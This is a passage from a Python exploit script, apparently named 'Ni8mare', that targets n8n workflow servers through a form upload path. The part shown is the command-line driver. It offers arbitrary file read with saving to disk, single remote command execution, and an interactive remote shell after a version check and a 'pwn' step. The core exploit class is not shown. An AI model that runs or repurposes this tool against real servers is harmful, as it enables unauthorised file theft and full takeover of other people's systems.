    p.add_argument("url", help="Target URL (http://target:5678)")
    p.add_argument("form", help="Form path (/form/upload)")
    p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
    p.add_argument("--cmd", metavar="CMD", help="Execute single command")
    p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
    return p.parse_args()


def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
    data = exploit.read_file(path)
    if not data:
        log.error("File read failed")
        return
    log.success(f"{len(data)} bytes")
    if output:
        with open(output, "wb") as f:
            f.write(data)
        log.success(f"Saved: {output}")
        return
    print(data.decode())


def run_cmd(exploit: Ni8mare, cmd: str) -> None:
    p = log.progress("RCE")
    out = exploit.rce(cmd)
    if not out:
        p.failure("Failed")
        return
    p.success("OK")
    print(f"\n{out}")


def run_shell(exploit: Ni8mare) -> None:
    log.info("Interactive mode (type 'exit' to quit)")
    while True:
        try:
            cmd = input("\033[91mn8n\033[0m> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            return
        if not cmd or cmd == "exit":
            return
        out = exploit.rce(cmd)
        if out:
            print(out)


def main():
    print(BANNER)
    args = parse_args()

    exploit = Ni8mare(args.url, args.form)
    version, vuln = exploit.get_version()
    log.info(f"Target: {exploit.form_url}")
    log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")

    if args.read:
        run_read(exploit, args.read, args.output)
        return

    if not exploit.pwn():
        return

    if args.cmd:
        run_cmd(exploit, args.cmd)
        return

    run_shell(exploit)


if __name__ == "__main__":
    main()

静静